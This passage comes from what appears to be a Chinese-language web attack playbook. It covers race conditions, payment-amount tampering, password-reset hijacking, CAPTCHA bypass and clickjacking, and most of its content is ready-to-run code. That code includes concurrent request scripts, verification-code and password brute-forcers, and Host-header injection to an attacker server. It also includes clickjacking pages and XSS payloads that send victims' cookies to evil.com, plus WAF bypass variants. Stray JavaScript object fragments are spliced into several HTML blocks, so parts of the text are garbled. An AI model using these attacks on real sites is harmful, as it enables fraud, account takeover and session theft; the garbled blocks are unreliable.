# 4. 限量商品抢购 POST /api/order/create
# 5. 投票/点赞 POST /api/vote
```

**2. 2. Python并发测试脚本**
_使用Python asyncio并发发送50个相同请求，检测是否能多次领取_
```
import asyncio
import aiohttp

async def race_request(session, url, headers, data):
    async with session.post(url, headers=headers, json=data) as resp:
        return await resp.json()

async def main():
    url = "https://{TARGET}/api/coupon/claim"
    headers = {"Authorization": "Bearer {TOKEN}"}
    data = {"coupon_id": "COUPON001"}
    async with aiohttp.ClientSession() as session:
        tasks = [race_request(session, url, headers, data) for _ in range(50)]
        results = await asyncio.gather(*tasks)
        success = sum(1 for r in results if r.get("code") == 200)
        print(f"Total: {len(results)}, Success: {success}")

asyncio.run(main())
```

**3. 3. Burp Turbo Intruder测试**
_Burp Turbo Intruder的gate机制确保所有请求同时发出_
```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=True)
    for i in range(50):
        engine.queue(target.req, gate="race1")
    engine.openGate("race1")

def handleResponse(req, interesting):
    if "success" in req.response:
        table.add(req)
```

**4. 4. 验证竞态成功**
_查询账户资源确认竞态条件是否成功利用_
```
# 检查资源是否被多次消耗
GET /api/user/coupons HTTP/1.1
Host: {TARGET}
Authorization: Bearer {TOKEN}

# 预期：限领1张优惠券实际领到多张
# 检查余额变化
GET /api/user/balance HTTP/1.1
```

**WAF/EDR 绕过变体：**

**1. HTTP/2单连接并发**
_HTTP/2多路复用在单TCP连接中发送多个并发请求，绕过基于连接数的限制_
```
# HTTP/2 multiplexing同一连接并发
curl --http2 --parallel --parallel-max 50 \
  -H "Authorization: Bearer {TOKEN}" \
  -X POST "https://{TARGET}/api/coupon/claim" \
  -d '{"coupon_id":"C001"}' \
  --next --http2 --parallel ...
```

---

### 支付逻辑篡改  `biz-payment-tamper`
通过修改支付请求中的金额、数量、折扣等参数来操纵交易逻辑。常见于电商平台和在线支付系统中，可导致0元购、负价格、折扣叠加等严重业务风险。
子类：**支付安全** · tags: `支付` `金额篡改` `业务逻辑` `0元购` `电商安全`

**前置条件：** 目标存在支付/下单功能；可拦截和修改HTTP请求

**攻击链：**

**1. 1. 金额篡改测试**
_修改订单请求中的价格字段，测试后端是否校验金额_
```
POST /api/order/create HTTP/1.1
Host: {TARGET}
Content-Type: application/json
Authorization: Bearer {TOKEN}

# 原始请求
{"product_id": "P001", "quantity": 1, "price": 9900}

# 篡改为1分钱
{"product_id": "P001", "quantity": 1, "price": 1}

# 篡改为0元
{"product_id": "P001", "quantity": 1, "price": 0}

# 负数金额（退款到账）
{"product_id": "P001", "quantity": 1, "price": -100}
```

**2. 2. 数量与运费篡改**
_测试数量边界值、运费篡改和折扣溢出_
```
# 数量为0或负数
{"product_id": "P001", "quantity": 0, "price": 9900}
{"product_id": "P001", "quantity": -1, "price": 9900}

# 修改运费
{"product_id": "P001", "quantity": 1, "shipping_fee": -500}

# 超大折扣
{"product_id": "P001", "quantity": 1, "discount": 9999}
```

**3. 3. 优惠券叠加与替换**
_测试优惠券是否可叠加使用或替换为高面额券_
```
# 叠加使用多张优惠券
{"product_id": "P001", "coupons": ["C001", "C002", "C003"]}

# 替换高额优惠券ID
{"product_id": "P001", "coupon_id": "INTERNAL_VIP_100OFF"}

# 修改优惠金额字段
{"product_id": "P001", "coupon_discount": 9900}
```

**4. 4. 支付回调篡改**
_伪造支付平台回调通知，篡改支付状态和金额_
```
# 模拟支付成功回调
POST /api/payment/callback HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded

order_id=ORD20240001&status=SUCCESS&amount=1&sign=tampered_sign

# 修改回调中的金额
order_id=ORD20240001&status=SUCCESS&amount=1&trade_no=FAKE123456
```

**WAF/EDR 绕过变体：**

**1. 科学计数法绕过**
_利用科学计数法、浮点精度、类型混淆绕过金额校验_
```
# 科学计数法
{"price": 1e-10}
# 浮点精度
{"price": 0.000000001}
# 字符串类型混淆
{"price": "0.01"}
# Unicode数字
{"price": "\uff10"}
```

---

### 密码重置逻辑缺陷  `biz-password-reset`
密码重置流程中的逻辑漏洞，包括重置令牌泄露、验证码爆破、响应操纵、Host头注入等攻击手法，可实现任意用户密码重置。
子类：**认证缺陷** · tags: `密码重置` `认证绕过` `业务逻辑` `验证码` `Host注入`

**前置条件：** 目标存在密码重置/找回功能；可拦截HTTP请求

**攻击链：**

**1. 1. Host头注入窃取重置链接**
_修改Host头使重置邮件中的链接指向攻击者服务器，窃取重置token_
```
POST /api/password/reset HTTP/1.1
Host: evil-server.com
X-Forwarded-Host: evil-server.com
Content-Type: application/json

{"email": "victim@target.com"}

# 受害者收到的重置链接变为：
# https://evil-server.com/reset?token=abc123
```

**2. 2. 验证码爆破**
_暴力破解4-6位验证码，测试是否有频率限制_
```
# 4位验证码爆破
for code in $(seq -w 0000 9999); do
  response=$(curl -s -X POST "https://{TARGET}/api/verify-code" \
    -H "Content-Type: application/json" \
    -d "{\"phone\":\"13800138000\",\"code\":\"$code\"}")
  if echo "$response" | grep -q "success"; then
    echo "[+] Code found: $code"
    break
  fi
done
```

**3. 3. 响应操纵绕过**
_拦截并修改服务端响应，前端可能仅依赖响应状态判断_
```
# 原始失败响应
{"code": 400, "message": "验证码错误"}

# 拦截并修改为成功
{"code": 200, "message": "验证成功", "token": "reset_token_here"}

# 某些前端仅检查code字段就放行后续操作
```

**4. 4. 重置令牌弱随机性**
_分析重置令牌的生成算法，检查是否基于可预测因素_
```
# 收集多个重置令牌分析规律
token1: 1707811200_user1  (时间戳+用户名)
token2: 1707811260_user2

# 可预测的token生成
import hashlib
token = hashlib.md5(f"{timestamp}_{email}".encode()).hexdigest()

# 使用已知信息构造重置token
predicted = hashlib.md5(b"1707811200_victim@target.com").hexdigest()
```

**WAF/EDR 绕过变体：**

**1. 多Host头绕过**
_使用多种HTTP头注入方式尝试覆盖重置链接中的域名_
```
# 双Host头
Host: target.com
Host: evil.com

# 绝对URL覆盖
POST https://evil.com/api/password/reset HTTP/1.1
Host: target.com

# X-Forwarded系列
X-Forwarded-Host: evil.com
X-Forwarded-Server: evil.com
X-Original-URL: https://evil.com/reset
```

---

### 验证码绕过技术  `biz-captcha-bypass`
绕过图形验证码、短信验证码、滑动验证等人机验证机制的各种技术手法，包括响应泄露、复用攻击、OCR识别、逻辑缺陷利用等。
子类：**验证码安全** · tags: `验证码` `CAPTCHA` `绕过` `短信验证码` `人机验证`

**前置条件：** 目标存在验证码保护的功能；Python环境

**攻击链：**

**1. 1. 验证码响应泄露**
_检查响应body、header、cookie中是否泄露验证码明文或编码值_
```
# 检查响应中是否包含验证码
POST /api/send-sms HTTP/1.1
Host: {TARGET}
Content-Type: application/json

{"phone": "13800138000"}

# 响应可能泄露
{"code": 200, "captcha": "8462", "message": "发送成功"}
# 或在响应头中
X-Captcha-Code: 8462
Set-Cookie: captcha=ODQ2Mg==  (base64 of 8462)
```

**2. 2. 验证码复用攻击**
_验证码使用后未失效，同一验证码可反复使用_
```
# 步骤1: 正常获取并输入正确验证码
POST /api/login
{"username": "test", "password": "test123", "captcha": "8462", "captcha_id": "abc"}

# 步骤2: 使用相同captcha_id和验证码反复尝试
POST /api/login
{"username": "admin", "password": "admin123", "captcha": "8462", "captcha_id": "abc"}

# 如果验证码未在使用后失效，可以一直复用
```

**3. 3. 删除验证码参数**
_测试不传、空传、null传验证码参数时后端是否仍然校验_
```
# 原始请求（包含验证码）
POST /api/login HTTP/1.1
{"username": "admin", "password": "pass", "captcha": "1234"}

# 删除验证码字段
POST /api/login HTTP/1.1
{"username": "admin", "password": "pass"}

# 空值测试
{"username": "admin", "password": "pass", "captcha": ""}
{"username": "admin", "password": "pass", "captcha": null}
```

**4. 4. 万能验证码**
_测试开发者遗留的万能验证码或调试后门_
```
# 常见万能/调试验证码
0000
1111
1234
8888
9999
6666
000000
123456

# 测试接口调试后门
{"phone": "13800138000", "code": "000000", "debug": true}
{"phone": "13800138000", "code": "master_code"}
```

**WAF/EDR 绕过变体：**

**1. OCR自动识别图形验证码**
_使用ddddocr库自动识别图形验证码集成到爆破流程_
```
import ddddocr
import requests

ocr = ddddocr.DdddOcr()

def solve_captcha(target):
    # 获取验证码图片
    resp = requests.get(f"https://{target}/captcha/image")
    code = ocr.classification(resp.content)
    return code

# 集成到爆破脚本中
for pwd in passwords:
    captcha = solve_captcha("{TARGET}")
    r = requests.post(f"https://{TARGET}/api/login",
        json={"user":"admin","pass":pwd,"captcha":captcha})
    if "success" in r.text:
        print(f"[+] Password: {pwd}")
```

---

### · 点击劫持

### 基础点击劫持  `clickjacking-basic`
通过透明iframe覆盖诱使用户在不知情的情况下点击隐藏的恶意按钮或链接
子类：**基础** · tags: `clickjacking` `ui-redressing` `iframe`

**前置条件：** 目标站点允许被iframe嵌套；目标未设置X-Frame-Options响应头；目标未配置CSP frame-ancestors策略；HTML/CSS基础知识

**攻击链：**

**1. 检测X-Frame-Options和CSP**  _[linux]_
_检查目标是否设置了防点击劫持的安全头_
```
curl -sI "http://target.com" | grep -iE "x-frame-options|content-security-policy|frame-ancestors"

# 批量检测:
for url in $(cat urls.txt); do
  echo -n "$url: "
  xfo=$(curl -sI "$url" | grep -i "x-frame-options")
  csp=$(curl -sI "$url" | grep -i "frame-ancestors")
  [ -z "$xfo" ] && [ -z "$csp" ] && echo "VULNERABLE" || echo "Protected: $xfo $csp"
done
```

**2. 基础透明iframe覆盖POC**
_构造诱饵页面，将目标敏感操作页面以透明iframe覆盖在诱饵按钮上方_
```
<html>
<head><title>Win a Prize!</title>
<style>
  #target-frame {
    position: absolute; top: 0; left: 0;
    width: 500px; height: 500px;
    opacity: 0.0001; /* 近乎完全透明 */
    z-index: 2; border: none;
  }
  #decoy-btn {
    position: absolute; top: 120px; left: 50px;
    z-index: 1; padding: 15px 30px;
    font-size: 20px; cursor: pointer;
    background: #4CAF50; color: white;
    border: none; border-radius: 5px;
  }
</style></head>
<body>
  <h1>Congratulations! You Won!</h1>
  <p>Click the button to claim your prize:</p>
  <button id="decoy-btn">Claim Prize</button>
  <iframe id="target-frame" src="http://target.com/account/delete"></iframe>
</body></html>
```

**3. 多步骤拖拽劫持(Drag-and-Drop)**
_利用HTML5拖拽API实现跨域数据提取型点击劫持_
```
<html>
<head><style>
  #source { width:200px; height:50px; background:#eee; text-align:center; line-height:50px; }
  #target-frame { position:absolute; top:0; left:0; width:600px; height:400px; opacity:0.0001; z-index:10; }
</style>
<script>
  // 监听拖拽事件，可以跨域提取数据
  document.addEventListener("drag", function(e) {
    console.log("Dragging:", e.dataTransfer.getData("text"));
  });
</script></head>
<body>
  <div id="source" draggable="true">Drag this to win!</div>
  <div id="drop-zone" style="width:200px;height:200px;border:2px dashed #ccc;margin-top:20px;">Drop Here</div>
  <iframe id="target-frame" src="http://target.com/profile" sandbox="allow-scripts allow-forms"></iframe>
</body></html>
```

**4. 利用CSS pointer-events绕过**
_使用pointer-events:none使覆盖层不拦截点击，点击直接穿透到下层iframe_
```
<style>
  .overlay { pointer-events: none; position: absolute; z-index: 100; }
  iframe { pointer-events: auto; position: absolute; opacity: 0; }
</style>
<div class="overlay">
  <h1>Survey: Rate Our Service</h1>
  <p>Select your rating below:</p>
  <!-- 诱饵内容完全不拦截鼠标事件 -->
  <div style="display:flex; gap:20px; margin-top:50px;">
    <span style="font-size:40px">⭐</span>
    <span style="font-size:40px">⭐⭐</span>
    <span style="font-size:40px">⭐⭐⭐</span>
  </div>
</div>
<iframe src="http://target.com/admin/grant-role?role=admin&user=attacker" style="width:100%;height:100%;border:none;"></iframe>
```

**WAF/EDR 绕过变体：**

**1. iframe sandbox属性绕过**
_通过iframe sandbox属性的allow-top-navigation和allow-scripts组合绕过部分frame-busting脚本_
```
<iframe src="https://target.com" sandbox="allow-scripts allow-forms allow-same-origin"></iframe>

<!-- 利用sandbox allow-top-navigation绕过 -->
<iframe src="https://target.com" sandbox="allow-scripts allow-top-navigation allow-forms"></iframe>

<!-- 利用sandbox+srcdoc绕过 -->
<iframe srcdoc="<script>top.location='https://target.com'</script>" sandbox="allow-scripts allow-top-navigation"></iframe>
```

**2. X-Frame-Options ALLOW-FROM不一致**
_X-Frame-Options ALLOW-FROM在不同浏览器中表现不一致，Chrome/Safari完全忽略此指令_
```
<!-- 利用浏览器对ALLOW-FROM支持不一致 -->
<!-- Chrome/Safari忽略ALLOW-FROM，仅CSP frame-ancestors生效 -->

<!-- 双重iframe绕过frame-busting -->
<iframe src="data:text/html,<iframe src='https://target.com'></iframe>"></iframe>

<!-- 利用window.name绕过 -->
<iframe src="attacker-page.html" name="payload_data"></iframe>
```

**3. 双重嵌套iframe绕过**
_通过双重嵌套iframe使frame-busting脚本中的top引用指向中间页而非攻击页_
```
<!-- 双重嵌套绕过frame-busting -->
<iframe src="middle-page.html"></iframe>

<!-- middle-page.html内容 -->
<html><body>,
          syntaxBreakdown: [
            { part: '<script>', explanation: { zh: '脚本标签', en: 'Scripttag' }, type: 'tag' },
            { part: '<iframe>', explanation: { zh: '内嵌框架', en: 'Inline frame (iframe)' }, type: 'tag' }
          ]
<iframe src="https://target.com" sandbox="allow-forms"></iframe>
</body></html>

<!-- onbeforeunload阻止跳转 -->
<script>window.onbeforeunload=function(){return "x";}</script>
<iframe src="https://target.com"></iframe>
```

---

### 点击劫持+XSS  `clickjacking-xss`
将点击劫持与XSS攻击结合，先通过点击劫持触发XSS攻击向量获取更深层的控制
子类：**XSS** · tags: `clickjacking` `xss`

**前置条件：** 目标存在XSS漏洞；目标允许被iframe嵌套；XSS payload可被点击触发

**攻击链：**

**1. 识别可利用的XSS和Clickjacking组合**
_同时检测目标的点击劫持和XSS漏洞_
```
# 1. 检测iframe嵌套防护
curl -sI "http://target.com" | grep -i "x-frame-options|frame-ancestors"

# 2. 检测已知XSS点
curl -s "http://target.com/search?q=<script>alert(1)</script>" | grep -i "script"

# 3. 检测Self-XSS (需要用户交互)
curl -s "http://target.com/profile/edit" -d "bio=<img+src=x+onerror=alert(document.cookie)>"
```

**2. Self-XSS + Clickjacking组合利用**
_利用多步骤点击劫持触发Self-XSS——先引导用户点击编辑按钮，再诱导粘贴XSS payload_
```
<html><head>
<style>
  iframe { position:absolute; top:0; left:0; width:800px; height:600px; opacity:0.0001; z-index:10; }
  .step { position:absolute; z-index:1; }
</style>
<script>
var step = 0;
function nextStep() {
  step++;
  if (step === 1) {
    // 第一步：诱导用户点击"个人资料编辑"按钮
    document.getElementById("msg").innerText = "Step 1: Click to claim reward!";
  } else if (step === 2) {
    // 第二步：诱导用户点击输入框
    document.getElementById("msg").innerText = "Step 2: Click to verify identity!";
  } else if (step === 3) {
    // 第三步：诱导粘贴(Ctrl+V)，执行XSS
    document.getElementById("msg").innerText = "Step 3: Press Ctrl+V to paste verification code!";
    navigator.clipboard.writeText('<img src=x onerror="fetch('https://evil.com/steal?'+document.cookie)">');
  }
}
</script></head>
<body onload="nextStep()">
  <h1 id="msg">Loading prize...</h1>
  <button class="step" onclick="nextStep()" style="top:200px;left:100px;">Next Step</button>
  <iframe src="http://target.com/profile/edit"></iframe>
</body></html>
```

**3. 反射型XSS + iframe嵌套利用**
_将含有XSS payload的URL通过iframe加载，利用点击劫持触发需要用户交互的XSS_
```
<html><head>
<style>
  iframe { width:100%; height:100%; position:absolute; top:0; left:0; opacity:0; border:none; }
</style></head>
<body>
  <h1>Free WiFi Login</h1>
  <p>Please click "Connect" to access free WiFi</p>
  <button style="padding:15px 40px; font-size:18px; margin-top:20px;">Connect</button>
  <!-- iframe加载含XSS的URL，按钮位置精确对齐触发XSS -->
  <iframe src="http://target.com/page?callback=<script>document.location='https://evil.com/steal?c='+document.cookie</script>"></iframe>
</body></html>
```

**WAF/EDR 绕过变体：**

**1. CSP frame-ancestors绕过**
_利用data:/blob: URI和srcdoc属性绕过CSP中frame-ancestors指令对iframe内容的限制_
```
<!-- 利用data: URI绕过CSP（旧浏览器） -->
<iframe src="data:text/html,<script>alert(document.domain)</script>"></iframe>

<!-- blob: URI绕过 -->
<script>
var blob = new Blob(['<script>alert(1)<\/script>'], {type: 'text/html'});
document.getElementById('frame').src = URL.createObjectURL(blob);
</script>

<!-- srcdoc属性绕过 -->
<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>
```

**2. sandbox属性配置错误利用**
_利用sandbox属性中allow-scripts与allow-same-origin组合或allow-popups-to-escape-sandbox逃逸沙箱_
```
<!-- sandbox allow-scripts允许执行JS -->
<iframe src="https://target.com" sandbox="allow-scripts allow-same-origin">
</iframe>,
          syntaxBreakdown: [
            { part: '<script>', explanation: { zh: '脚本标签', en: 'Scripttag' }, type: 'tag' },
            { part: '<iframe>', explanation: { zh: '内嵌框架', en: 'Inline frame (iframe)' }, type: 'tag' },
            { part: 'alert()', explanation: { zh: '弹窗函数', en: 'Alert function' }, type: 'function' }
          ]

<!-- 利用allow-popups逃逸 -->
<iframe src="https://target.com" sandbox="allow-scripts allow-popups allow-popups-to-escape-sandbox">
</iframe>

<!-- allow-top-navigation + 点击劫持 -->
<iframe src="https://target.com" sandbox="allow-scripts allow-top-navigation-by-user-activation">
</iframe>
```

**3. 拖放劫持注入XSS**
_通过HTML5拖放API将XSS payload从攻击页面拖入目标iframe中的可编辑区域_
```
<!-- 拖放劫持将XSS payload注入目标页面 -->
<style>
#drag { position: absolute; z-index: 1; opacity: 0; }
#target { position: absolute; z-index: 0; }
</style>

<div id="drag" draggable="true"
  ondragstart="event.dataTransfer.setData('text/html','<img src=x onerror=alert(1)>')">
  Drag me
</div>

<iframe id="target" src="https://target.com/page-with-editable-field"
  sandbox="allow-scripts allow-same-origin">
</iframe>
```

---
